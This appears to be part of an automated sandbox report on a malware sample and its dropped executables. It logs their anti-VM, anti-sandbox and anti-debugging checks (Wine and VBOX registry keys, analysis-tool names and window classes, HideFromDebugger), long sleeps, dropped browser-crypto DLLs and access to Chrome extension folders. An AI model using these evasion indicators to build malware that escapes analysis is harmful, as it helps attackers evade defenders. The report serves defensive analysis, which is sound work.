Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: HRFuUub.exe PID: 9972, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 17B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 31D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 3020000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 5780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 6780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 68B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 78B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 7C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 8C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: 9C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 2E00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 2C50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 5450000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 6450000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 6580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 7580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 7910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 8910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: 9910000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

Code function: 20_2_050A0C97 rdtsc

20_2_050A0C97

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

Code function: 20_2_050A0740 sldt word ptr [eax]

20_2_050A0740

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 450
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1991
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1025
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9921
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 9708
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9804
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window / User API: threadDelayed 410
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window / User API: threadDelayed 954
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Window / User API: threadDelayed 978
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window / User API: threadDelayed 1927
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window / User API: threadDelayed 1906
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window / User API: threadDelayed 1607

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	API coverage: 1.1 %
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	API coverage: 1.5 %

Source: C:\Users\user\Desktop\file.exe TID: 9060	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 9108	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7724	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 9128	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 9128	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 9088	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 9076	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2548	Thread sleep count: 46 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2548	Thread sleep time: -92046s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9772	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9772	Thread sleep time: -172086s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2224	Thread sleep count: 450 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2224	Thread sleep time: -13500000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3604	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3604	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2248	Thread sleep count: 108 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2248	Thread sleep time: -216108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9904	Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9904	Thread sleep time: -142071s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2248	Thread sleep count: 1991 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2248	Thread sleep time: -3983991s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9900	Thread sleep count: 1025 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9900	Thread sleep time: -2051025s >= -30000s
Source: C:\Windows\explorer.exe TID: 2588	Thread sleep count: 9708 > 30
Source: C:\Windows\explorer.exe TID: 2588	Thread sleep time: -194160s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 7728	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 7728	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 265 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 149 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 174 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 174 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 166 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 285 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 177 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6356	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 5380	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 5380	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6420	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6420	Thread sleep time: -158079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6600	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6600	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 4540	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 4540	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 3516	Thread sleep count: 410 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 3516	Thread sleep time: -820410s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 4540	Thread sleep count: 954 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 4540	Thread sleep time: -1908954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6600	Thread sleep count: 978 > 30
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe TID: 6600	Thread sleep time: -1956978s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7816	Thread sleep count: 82 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7816	Thread sleep time: -164082s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3164	Thread sleep count: 93 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3164	Thread sleep time: -186093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3376	Thread sleep count: 239 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3376	Thread sleep time: -478239s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 6368	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7628	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7628	Thread sleep time: -90045s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7704	Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7704	Thread sleep time: -264132s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7704	Thread sleep count: 1927 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7704	Thread sleep time: -3855927s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7696	Thread sleep count: 1906 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 7696	Thread sleep time: -3813906s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3408	Thread sleep count: 1607 > 30
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe TID: 3408	Thread sleep time: -3215607s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe TID: 1388	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe TID: 7536	Thread sleep time: -100050s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe TID: 8272	Thread sleep time: -210000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe

Code function: 40_2_6C25B362 FindFirstFileExW,

40_2_6C25B362

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BA3EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6BA3EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1813518462.000000000131D000.00000040.00000001.01000000.00000003.sdmp, KKEBKJJDGH.exe, KKEBKJJDGH.exe, 00000014.00000002.1847687487.0000000000A33000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, skotes.exe, 00000015.00000002.1866691514.00000000007B3000.00000040.00000001.01000000.0000000C.sdmp, 5467ed4ac5.exe, 00000035.00000002.2809112278.000000000623A000.00000040.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2794277783.0000000000F94000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MSHN6QKQEMU
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: skotes.exe, 00000016.00000003.2245716950.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: PING.EXE, 00000027.00000002.2033567819.0000029030A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllCC+hP
Source: file.exe, 00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1593367917.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1811763144.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000003.2245716950.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2791956090.0000000000931000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2636498847.0000000000931000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757991857.0000000000931000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2791956090.00000000008CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.45.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: file.exe, 00000000.00000002.1813518462.000000000131D000.00000040.00000001.01000000.00000003.sdmp, KKEBKJJDGH.exe, 00000014.00000002.1847687487.0000000000A33000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000015.00000002.1866691514.00000000007B3000.00000040.00000001.01000000.0000000C.sdmp, 5467ed4ac5.exe, 00000035.00000002.2809112278.000000000623A000.00000040.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2794277783.0000000000F94000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1811763144.0000000000D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc
Source: PING.EXE, 00000022.00000002.2009431288.0000018B5A739000.00000004.00000020.00020000.00000000.sdmp, c8297318cd.exe, 00000034.00000003.2274768711.0000000001E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
